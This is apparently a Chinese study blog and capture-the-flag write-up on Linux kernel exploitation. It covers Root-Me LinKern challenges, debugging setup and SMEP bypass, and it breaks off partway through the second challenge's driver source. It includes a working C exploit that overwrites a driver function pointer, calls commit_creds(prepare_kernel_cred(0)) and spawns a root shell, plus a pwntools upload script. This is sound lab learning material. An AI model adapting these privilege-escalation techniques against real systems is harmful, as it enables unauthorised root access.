有一个fn的函数指针，控制该指针 => 劫持EIP

调用fn

用户态调用fn

1
2
3
4
5
SYSCALL_DEFINE0(restart_syscall)
{
    struct restart_block *restart = &current_thread_info()->restart_block;
    return restart->fn(restart);
}
1
syscall(SYS_restart_syscall);

mmap

1
void *mmap(void *addr, size_t length, int prot, int flags,int fd, off_t offset);

  1. 返回值：成功返回创建的映射区的首地址；失败返回宏MAP_FAILED。

  2. 参数：

    addr: 指向欲映射的内存起始地址，通常设为 NULL，代表让系统自动选定地址，映射成功后返回该地址。

    length： 欲创建映射区的大小。

    prot： 映射区权限PROT_READ、PROT_WRITE、PROT_READ|PROT_WRITE。

    flags： 标志位参数(常用于设定更新物理区域、设置共享、创建匿名映射区)；

    MAP_SHARED: 会将映射区所做的操作反映到物理设备（磁盘）上。

    MAP_PRIVATE: 映射区所做的修改不会反映到物理设备。

    fd： 用来建立映射区的文件描述符。

    offset： 映射文件的偏移(4k的整数倍)。

memcpy

从源source所指的内存地址的起始位置开始拷贝n个字节到目标destin所指的内存地址的起始位置中。

函数原型

1
void memcpy(void destin, void source, unsigned n);

参数

  • destin— 指向用于存储复制内容的目标数组，类型强制转换为 void* 指针。
  • source— 指向要复制的数据源，类型强制转换为 void* 指针。
  • n— 要被复制的字节数。

返回值

该函数返回一个指向目标存储区destin的指针。

kptr_restrict

kptr_restrict 权限描述
2 内核将符号地址打印为全0, root和普通用户都没有权限
1 root用户有权限读取, 普通用户没有权限
0 root和普通用户都可以读取

tty

https://blog.csdn.net/zhoucheng05_13/article/details/86510469

  1. 虚拟控制台
  2. 串口
  3. 伪终端设备

ptmx

伪终端的master端

kmalloc

使用slab/slub分配器，使用多级的结构进行管理

首先有cache层

cache结构

  1. 空对象
  2. 部分使用的对象
  3. 完全使用中的对象

对象就是指内存对象，也就是用来分配或者已经分配的一部分内核空间。

slab/slub分配器

  • slab分配器严格按照cache去区分，不同cache的无法分配在一页内

  • slub分配器则较为宽松，不同cache如果分配相同大小，可能会在一页内。

mount

mount是Linux下的一个命令，它可以将分区挂接到Linux的一个文件夹下，从而将分区和该目录联系起来，因此我们只要访问这个文件夹，就相当于访问该分区了。

file_operations

属于Linux 字符设备驱动结构

  1. Linux使用file_operations结构访问驱动程序的函数，这个结构的每一个成员的名字都对应着一个调用。
  2. 用户进程利用在对设备文件进行诸如read/write操作的时候，系统调用通过设备文件的主设备号找到相应的设备驱动程序，然后读取这个数据结构相应的函数指针，接着把控制权交给该函数，这是Linux的设备驱动程序工作的基本原理。

read函数

这个函数用来从设备中获取数据。

1
ssize_t (*read) (struct file * filp, char __user * buffer, size_t    size , loff_t * p);
  • 指针参数 filp 为进行读取信息的目标文件
  • 指针参数buffer 为对应放置信息的缓冲区（即用户空间内存地址）
  • 参数size为要读取的信息长度
  • 参数 p 为读的位置相对于文件开头的偏移，在读取信息后，这个指针一般都会移动，移动的值为要读取信息的长度值

write函数

发送数据给设备

1
ssize_t (*write) (struct file * filp, const char __user *   buffer, size_t count, loff_t * ppos);
  • 参数filp为目标文件结构体指针
  • buffer为要写入文件的信息缓冲区
  • count为要写入信息的长度
  • ppos为当前的偏移位置，这个值通常是用来判断写文件是否越界

内核态函数调用

memcpy() => copy_from_user()/copy_to_user()

都是将rsi的数据拷贝到rdi

  • copy_from_user()

    • 原型：

      1
      copy_from_user(void *to, const void __user *from, unsigned long n)

      @to 将数据拷贝到内核的地址

      @from 需要拷贝数据的地址

    • 从用户空间拷贝数据到内核空间

    • 返回值

      • 失败返回没有被拷贝的字节数
      • 成功返回0

  • copy_to_user()

cred 结构体

源码

  • 内核使用cred结构体记录进程的权限(uid，gid等）
  • 每个进程中都有一个 cred 结构
  • 如果能修改某个进程的cred，那么也就修改了这个进程的权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/*
 * The security context of a task
 *
 * The parts of the context break down into two categories:
 *
 *  (1) The objective context of a task.  These parts are used when some other
 *	task is attempting to affect this one.
 *
 *  (2) The subjective context.  These details are used when the task is acting
 *	upon another object, be that a file, a task, a key or whatever.
 *
 * Note that some members of this structure belong to both categories - the
 * LSM security pointer for instance.
 *
 * A task has two security pointers.  task->real_cred points to the objective
 * context that defines that task's actual details.  The objective part of this
 * context is used whenever that task is acted upon.
 *
 * task->cred points to the subjective context that defines the details of how
 * that task is going to act upon another object.  This may be overridden
 * temporarily to point to another security context, but normally points to the
 * same context as task->real_cred.
 */
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
} __randomize_layout;

fork

将运行着的程序分成2个（几乎）完全一样的进程，每个进程都启动一个从代码的同一位置开始执行的线程。

返回值：

  • 负值：创建子进程失败。
  • 零：返回到新创建的子进程。
  • 正值：返回父进程或调用者。该值包含新创建的子进程的进程ID 。

具体操作

启动

可以创建一个start.sh文件，拷贝下面的内容，其中需要修改path路径为存放文件的路径。

也可以直接在命令行执行

1
qemu-system-i386 -kernel bzImage -s -append nokaslr -initrd initramfs.img -fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/linkern  -device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme
1
2
3
4
5
6
qemu-system-i386 -s \
-kernel bzImage \
-append nokaslr \
-initrd initramfs.img \
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/nullpoint/ \
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme

调试

调试方法

调试x64内核=>设置架构=>set architecture i386:x86-64:intel

第一部分：c文件

  1. 编写一个c程序，如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    int main(){
        char Padding[9] = "AAAAAAAA";
        char Eip[5] ;
        int fd = open("/dev/tostring",O_WRONLY);
        for(int i = 0;i < 0x40; i++)
            write(fd,Padding,sizeof(Padding));
        write(fd,Eip,sizeof(Eip));
        return 0;
    }

  2. 编译为静态文件

    1
    g++ -m32 -static -o test test.cpp

  3. 解压文件系统

    https://www.cnblogs.com/carriezhangyan/p/9407567.html

    可以将下面的放在一个first.sh脚本中执行

    1
    2
    3
    4
    5
    6
    #!/bin/bash
    mv initramfs.img initramfs.img.gz
    gunzip initramfs.img.gz
    mkdir initramfs
    cd initramfs
    cpio -idvm < ../initramfs.img

    image-20210531143052634

  4. 将编译好的文件放入文件夹

    image-20210531143128795

  5. 打包文件系统

    1
    find . | cpio -H newc -o > ../initramfs.img

  6. 执行start.sh，此时qemu里面可以看到test文件

    image-20210531143323513

以上步骤整合成一个自动打包c文件并启动的脚本

1
2
3
4
5
6
7
8
#!/bin/bash
gcc -m32 -static -o exp exp.c
cp exp.c initramfs
cp exp initramfs
cd initramfs
find . | cpio -H newc -o > ../initramfs.img
cd ..
./start.sh

第二部分：vmlinux

  • bzImage：理解为压缩后的kernel文件
  • vmlinux：静态编译、未经过压缩

若程序没有给vmlinux，给了bzImage，可以自行提取

在网站拷贝代码，命名为extract-vmlinux文件

1
./extract-vmlinux ./bzImage > vmlinux
1
2
winter@ubuntu:~/linkern$ file vmlinux 
vmlinux: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c5ad14eb97bda6a8093fa59483ca5ad055d69638, stripped

第三部分：查找LKMs模块基址

1.查找模块名

1
2
lsmod
#查看所有模块，模块名为basic1_ch1，得到基址.text基址：0xc8824000

image-20210531150406602

2.进入节区文件夹，访问.text、.bss、.data

路径：/sys/module/[模块名]/sections

image-20210531150708860

第四部分：gdb

1
gdb vmlinux
1
2
add-symbol-file lkms .text地址 (-s .bss .bss地址 -s .data .data地址)
add-symbol-file ./initramfs/lib/modules/4.10.3/rootme/tostring.ko 0xc8824000 -s .bss 0xc8824600 -s .data 0xc8824360
1
target remote:1234	[启动文件里面-s默认端口是1234](指定端口:-gdb tcp::4869 )

image-20210531151735100

1
2
#下断点，一般下在write、read上面
b tostring_write
1
c

image-20210531151809409

第五部分：执行qemu里的c程序

1
2
./test
#程序讲断在write函数上

image-20210531151832106

提权

kernel 中有两个可以方便的改变权限的函数：

  • int commit_creds(struct cred *new)
  • struct cred* prepare_kernel_cred(struct task_struct* daemon)

地址

root权限下，执行以下命令

1
2
grep commit_creds /proc/kallsyms 
grep prepare_kernel_cred /proc/kallsyms

image-20210602220742358

1
2
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;

步骤

  1. 执行下面函数，从而将权限提升为root
1
commit_creds(prepare_kernel_cred(0))
  1. iret返回到用户模式

Bypass SMEP

绕过来由

smep是不允许处于内核态的时候执行用户态代码。

  • 之前如果没有开启smep，一般在提权成功后，在切换内核栈和用户栈时候，设置里面的寄存器值，使eip执行system(‘/bin/sh’)
  • 如果开启了smep，则不允许这么做了，故想办法绕过smep，这样就能和之前一样的做法

smep原理

内核是根据CR4寄存器的值来判断smep保护是否开启的

* 当`CR4`寄存器的第`20`位是`1`时，保护开启
* 是`0`时，保护关闭。

以下是CR4寄存器的各标志位：

Click to close image, click and drag to move. Use arrow keys for next and previous.

因此，如果在内核中存在gadget能让我们修改CR4寄存器的值我们就可以手动来关闭SMEP保护了。

基本方法

  1. 首先将bzImage解压出vmlinux

  2. 由于文件很大，gadget很多，故将gadget导入到一个文件中

    ROPgadget --binary ./vmlinux > gadgets

  3. 在文件中寻找可以控制cr4寄存器的gadget，如

    1
    2
    0xc10174fc : pop eax ; ret
    0xc1045053 : mov cr4, eax ; pop ebp ; ret

trick

1.mmap_min_addr

1
echo 0 > /proc/sys/vm/mmap_min_addr

解除了mmap_min_addr保护

因为最低可以映射到0，哪里都可以映射，相当于没限制了

题目

1.[Root-Me]LinKern x86 – Buffer overflow basic 1

下载文件

下载地址

1
2
ssh -p 2223 app-systeme-ch1@challenge03.root-me.org
#password:app-systeme-ch1

image-20210603142323422

利用scp将文件拷贝倒本地

1
2
3
scp -P 2223 app-systeme-ch1@challenge03.root-me.org://challenge/app-systeme/ch1/* .
scp -P 2223 ./poc.c app-systeme-ch1@challenge03.root-me.org://challenge/app-systeme/ch1/
#password:app-systeme-ch1

分析init

  1. 解压
  2. cat init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
winter@ubuntu:~/linkern/initramfs$ cat init
#!/bin/sh
 
mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
#
# flag
#
//提示flag在passwd，并且挂载到了/dev/sda
mkdir -p /passwd
mount -t ext2 -o ro /dev/sda /passwd

#
# share
#
mkdir -p /mnt/share
mount -t 9p -o trans=virtio rootme /mnt/share/ -oversion=9p2000.L,posixacl,sync
chmod 777 /mnt/share/

#
# module
#
//lkms加载到了/lib/modules/*/rootme/*.ko
insmod /lib/modules/*/rootme/*.ko
chmod 666 /dev/tostring 
# mmap_min_addr to 0 for the challenge to be simpler for now ;)
echo 0 > /proc/sys/vm/mmap_min_addr

#
# shell
#
cat /etc/issue
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
umount /dev
 
poweroff -f
  • 11、12行提示flag在passwd，并且挂载到了/dev/sda
  • 25行中，需要分析的LKMs被加载到了/lib/modules/*/rootme/*.ko

分析LKMs文件

进入/lib/modules/*/rootme/*.ko，找到LKMs文件

image-20210603143340595

1
2
3
4
5
6
7
8
9
winter@ubuntu:~/linkern/initramfs/lib/modules/4.10.3/rootme$ file tostring.ko 
tostring.ko: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), BuildID[sha1]=de2b579770a3ff522ee27200d85cb2bc1723ef22, not stripped
winter@ubuntu:~/linkern/initramfs/lib/modules/4.10.3/rootme$ checksec tostring.ko 
[*] '/home/winter/linkern/initramfs/lib/modules/4.10.3/rootme/tostring.ko'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

（一般情况）加载到ida中分析，不过本程序给了源码，可以直接分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

static dev_t first; // Global variable for the first device number
static struct cdev c_dev; // Global variable for the character device structure
static struct class *cl; // Global variable for the device class

struct tostring_s {
    int pointer;
    unsigned long long int tostring_stack[64];
    ssize_t (*tostring_read)(struct file *f, char __user *buf, size_t len, loff_t *off);
};

static struct tostring_s tostring;


static int tostring_open(struct inode *i, struct file *f)
{
    printk(KERN_INFO "Tostring: open()\n");
    return 0;
}

static int tostring_close(struct inode *i, struct file *f)
{
    printk(KERN_INFO "Tostring: close()\n");
    return 0;
}

static ssize_t tostring_read(struct file *f, char __user *buf, size_t len, loff_t *off)
{
    printk(KERN_INFO "Tostring: read()\n");
    return(tostring.tostring_read)(f, buf, len, off);
}

static ssize_t tostring_read_hexa(struct file *f, char __user *buf, size_t len, loff_t *off)
{
    printk(KERN_INFO "Tostring: read_hexa()\n");
    if (tostring.pointer > 0)
        return(snprintf(buf,len,"%16llx\n",tostring.tostring_stack[--tostring.pointer]));
    else return(0);
}

static ssize_t tostring_read_dec(struct file *f, char __user *buf, size_t len, loff_t *off)
{
    printk(KERN_INFO "Tostring: read_dec()\n");
    if (tostring.pointer > 0)
        return(snprintf(buf,len,"%lld\n",tostring.tostring_stack[--tostring.pointer]));
    else return(0);
}



static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{

    char *bufk;

    printk(KERN_INFO "Tostring: write()\n");
    // rajout du 0 final

    bufk = kmalloc(len + 1, GFP_DMA);


    if (bufk){

        if (copy_from_user(bufk, buf, len))
            return -EFAULT;

        bufk[len] = '\0';


        if (bufk[0]=='M') {
            if (bufk[1]=='H') tostring.tostring_read= tostring_read_hexa;
            else if (bufk[1]=='D') tostring.tostring_read= tostring_read_dec;
        }
        else {
            printk("tostring: insertion %d\n",*((int *) bufk));
            tostring.tostring_stack[tostring.pointer++]= *((long long int *) bufk);;      
        }
    }
    kfree(bufk);
    return len;

}

static struct file_operations pugs_fops =
{
    .owner = THIS_MODULE,
    .open = tostring_open,
    .release = tostring_close,
    .read = tostring_read,
    .write = tostring_write
};

static int __init tostring_init(void) /* Constructor */
{
    printk(KERN_INFO "Tostring registered");
    tostring.pointer=0;
    tostring.tostring_read= tostring_read_hexa;
    if (alloc_chrdev_region(&first, 0, 1, "tostring") < 0)
    {
        return -1;
    }
    if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
    {
        unregister_chrdev_region(first, 1);
        return -1;
    }
    if (device_create(cl, NULL, first, NULL, "tostring") == NULL)
    {
        printk(KERN_INFO "Tostring error");
        class_destroy(cl);
        unregister_chrdev_region(first, 1);
        return -1;
    }
    cdev_init(&c_dev, &pugs_fops);
    if (cdev_add(&c_dev, first, 1) == -1)
    {
        device_destroy(cl, first);
        class_destroy(cl);
        unregister_chrdev_region(first, 1);
        return -1;
    }

    printk(KERN_INFO "<Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
    return 0;
}

static void __exit tostring_exit(void) /* Destructor */
{
    unregister_chrdev_region(first, 3);
    printk(KERN_INFO "Tostring unregistered");
}

module_init(tostring_init);
module_exit(tostring_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("F.Boisson");
MODULE_DESCRIPTION("Module Tostring Integers Dec/Hex");

重点分析read和write函数

read

  • 打印字符串Tostring: read()\n

  • 调用了0x8000984，参数是输入的数据

    image-20210603145537156

    0x8000984在bss段上，且上面有一个0x8000784、0x8000788

    image-20210603145615870

    image-20210603145652475

write

  • 打印字符串Tostring: write()\n

  • 申请一块空间 => bufk = kmalloc(len + 1, GFP_DMA)

  • 将write函数的数据写入申请的chunk中 => copy_from_user(bufk, buf, len)

  • 将输入的数据拷贝到栈上 => tostring.tostring_stack[tostring.pointer++]= *((long long int *) bufk);

    • 一次拷贝long long int，也就是八字节
    • 拷贝的地址是0x8000784

    image-20210603150742793

  • 释放，结束

漏洞利用

  1. 程序write时候，将数据拷贝到栈上0x8000784
  2. 执行read函数，会执行栈上的地址0x8000984
  3. 所以，如果一直执行write函数，覆盖到0x8000984地址为shellcode，就可以get shell
  4. 距离是0x200，因为一次只能写八字节，需要循环写40次
  5. 然后将0x8000984地址覆盖成shellcode
  6. 调用read函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
void get_shell(void){
    execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
    asm("pushl %cs;popl tf+4;"    //set cs
        "pushfl;popl tf+8;"       //set eflags
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;");
    tf.eip = &get_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
          "iret;");
}

int main(void){
    char Padding[9] = "AAAAAAAA";			//一次覆盖8字节
    char Eip[5];							//shellcode地址
    init_tf_work();							//初始化
    int fd = open("/dev/tostring",2);		//使用该驱动
    for(int i = 0;i < 0x40; i++)			//覆盖前面0x200的垃圾数据
        write(fd,Padding,sizeof(Padding));	
    write(1,"OK!n",sizeof(Eip));			//友好提示
    *((void**)(Eip)) = &payload;			//将shellocde地址写入eip
    write(fd,Eip,sizeof(Eip));				//将eip写入0x80000984
    read(fd,receive,255);					//执行read函数
    return 0;
}
调试信息
  • ida中bss段的起始地址是0x8000780
  • 程序执行的data段起始地址是0xc8824600

所以，拷贝的起始地址0x8000780在调试的时候就是0xc8824604

执行一次write

image-20210603152453197

执行完40次write，再执行 write(fd,Eip,sizeof(Eip));【也就是将shellcode地址写入了0xc8824804这个地址】

image-20210603152841301

question

远程提权失败，也不知道为什么，，，权限是变了，但是变得很奇怪。。。

image-20210604143845221

本地ok

image-20210604143951129

image-20210604144004010

上传脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
#context.update(log_level='debug')

HOST = "challenge03.root-me.org"
PORT =  2223

USER = "app-systeme-ch1"
PW = "app-systeme-ch1"

def compile():
    log.info("Compile")
    # os.system("musl-gcc -w -s -static -o3 oob.c -o exp")
    os.system("gcc -m32 -static -o exp poc.c")
    
def exec_cmd(cmd):
    r.sendline(cmd)
    r.recvuntil("$ ")

def upload():
    p = log.progress("Upload")

    with open("exp", "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)

    r.recvuntil("$ ")

    for i in range(0, len(encoded), 300):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

    exec_cmd("cat benc | base64 -d > bout")
    exec_cmd("chmod +x bout")
    exec_cmd("./bout")

    p.success()

def exploit(r):
    compile()
    upload()

    r.interactive()

    return

if __name__ == "__main__":
    if len(sys.argv) > 1:
        session = ssh(USER, HOST, PORT, PW)
        r = session.run("/bin/sh")
        exploit(r)
    else:
        r = process("./startvm.sh")
        print util.proc.pidof(r)
        pause()
        exploit(r)
musl-gcc编译32位

  • gcc编译的，没用musl-gcc

  • musl-gcc怎么编译32位的？没有-m32参数

2.[Root-Me]LinKern x86 - Null pointer dereference

下载文件

下载地址

1
2
ssh -p 2223 app-systeme-ch2@challenge03.root-me.org
密码:app-systeme-ch2

拷贝文件

1
2
scp -P 2223 app-systeme-ch2@challenge03.root-me.org:/challenge/app-systeme/ch2/* .
密码:app-systeme-ch2

分析init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/sh
 
mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
#
# flag
#
mkdir -p /passwd
mount -t ext2 -o ro /dev/sda /passwd

#
# share
#
mkdir -p /mnt/share
mount -t 9p -o trans=virtio rootme /mnt/share/ -oversion=9p2000.L,posixacl,sync
chmod 777 /mnt/share/

#
# module
#
insmod /lib/modules/*/rootme/*.ko
chmod 666 /dev/tostring 
# mmap_min_addr to 0 for the challenge to be simpler for now ;)
echo 0 > /proc/sys/vm/mmap_min_addr

#
# shell
#
cat /etc/issue
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
umount /dev
 
poweroff -f

和上一题的init差不多

分析LKMs文件

路径由init可知：/lib/modules/*/rootme/*.ko

image-20210603220411473

1
2
3
4
5
6
7
8
9
winter@ubuntu:~/nullpoint/initramfs/lib/modules/4.10.3/rootme$ file tostring.ko 
tostring.ko: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), BuildID[sha1]=d55b3e2795a90b029627ae2fcc47291702c1784b, not stripped
winter@ubuntu:~/nullpoint/initramfs/lib/modules/4.10.3/rootme$ checksec tostring.ko 
[*] '/home/winter/nullpoint/initramfs/lib/modules/4.10.3/rootme/tostring.ko'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

同样给了源码，ch2.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h> 

#define ISSPACE(c)  ((c) == ' ' || ((c) >= '\t' && (c) <= '\r'))
#define ISASCII(c)  (((c) & ~0x7f) == 0)
#define ISUPPER(c)  ((c) >= 'A' && (c) <= 'Z')
#define ISLOWER(c)  ((c) >= 'a' && (c) <= 'z')
#define ISALPHA(c)  (ISUPPER(c) || ISLOWER(c))
#define ISDIGIT(c)  ((c) >= '0' && (c) <= '9')

static unsigned long local_strtoul (
    char*   nstr,
    char**  endptr,
    int base)
{
#if !(defined(__KERNEL__))
    return strtoul (nstr, endptr, base);    /* user mode */

#else
    char* s = nstr;
    unsigned long acc;
    unsigned char c;
    unsigned long cutoff;
    int neg = 0, any, cutlim;

    do
    {
        c = *s++;
    } while (ISSPACE(c));

    if (c == '-')
    {
        neg = 1;
        c = *s++;
    }
    else if (c == '+')
        c = *s++;

    if ((base == 0 || base == 16) &&
        c == '0' && (*s == 'x' || *s == 'X'))
    {
        c = s[1];
        s += 2;
        base = 16;
    }
    if (base == 0)
        base = c == '0' ? 8 : 10;

    cutoff = (unsigned long)ULONG_MAX / (unsigned long)base;
    cutlim = (unsigned long)ULONG_MAX % (unsigned long)base;
    for (acc = 0, any = 0; ; c = *s++)
    {
        if (!ISASCII(c))
            break;
        if (ISDIGIT(c))
            c -= '0';
        else if (ISALPHA(c))
            c -= ISUPPER(c) ? 'A' - 10 : 'a' - 10;
        else
            break;

        if (c >= base)
            break;
        if (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim))
            any = -1;
        else
        {
            any = 1;
            acc *= base;
            acc += c;
        }
    }

    if (any < 0)
    {
        acc = INT_MAX;
    }
    else if (neg)
        acc = -acc;
    if (endptr != 0)
        *((const char **)endptr) = any ? s - 1 : nstr;
    return (acc);
#endif
}

static dev_t first; // Global variable for the first device number
static struct cdev c_dev; // Global variable for the character device structure
static struct class *cl; // Global variable for the device class

struct tostring_s {
  unsigned int pointer;
  unsigned int pointer_max;
  unsigned long long int *tostring_stack;
  ssize_t (*tostring_read)(struct file *f, char __user *buf, size_t len, loff_t *off); 
};

static struct tostring_s *tostring;


static unsigned int taille=2;

module_param(taille, int,1);
MODULE_PARM_DESC(taille, "Stack size in Ko");

 
static int tostring_open(struct inode *i, struct file *f){
  printk(KERN_INFO "Tostring: open()\n");
  return 0;
}
 
static int tostring_close(struct inode *i, struct file *f)
{
  printk(KERN_INFO "Tostring: close()\n");
  return 0;
}
 
static ssize_t tostring_read(struct file *f, char __user *buf, size_t len, loff_t *off)
{
  printk(KERN_INFO "Tostring: read()\n");
  return((tostring->tostring_read)(f, buf, len, off)); 
}

static ssize_t tostring_read_hexa(struct file *f, char __user *buf, size_t len, loff_t *off)
{
  printk(KERN_INFO "Tostring: read_hexa()\n");
  if (tostring->pointer > 0)
    return(snprintf(buf,len,"%16llx\n",tostring->tostring_stack[--(tostring->pointer)]));
  else return(0);
}

static int tostring_create(int tl) {
  /*  tostring=kmalloc(sizeof(struct tostring_s), GFP_DMA); */
  taille=tl;
  tostring->tostring_stack=kmalloc(taille*1024, GFP_DMA);
  if (tostring->tostring_stack == NULL) return(-1);
  tostring->pointer_max=(taille*1024)/sizeof(long long int);
  tostring->tostring_read= tostring_read_hexa;
  printk(KERN_INFO "Tostring: Stack size: %dK, locate at %p, max index: %d\n",taille,tostring->tostring_stack,tostring->pointer_max);
  return(0);

}


static ssize_t tostring_read_dec(struct file *f, char __user *buf, size_t len, loff_t *off)
{
  printk(KERN_INFO "Tostring: read_dec()\n");
  if (tostring->pointer > 0)
    return(snprintf(buf,len,"%lld\n",tostring->tostring_stack[--(tostring->pointer)]));
  else return(0);
}


 
static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
 
  char *bufk;
  int i,j;

  printk(KERN_INFO "Tostring: write()\n");
  // rajout du 0 final
  bufk = kmalloc(len + 1, GFP_DMA);

 
  if (bufk){
 
    if (copy_from_user(bufk, buf, len))
        return -EFAULT;
 
    bufk[len] = '\0';

    i=0;
    while(i <len) {
    /* Les commandes commencent par 10 '*' */
      for (j=0;(j<10) && (bufk[j]=='*');j++);
      if (j == 10) {
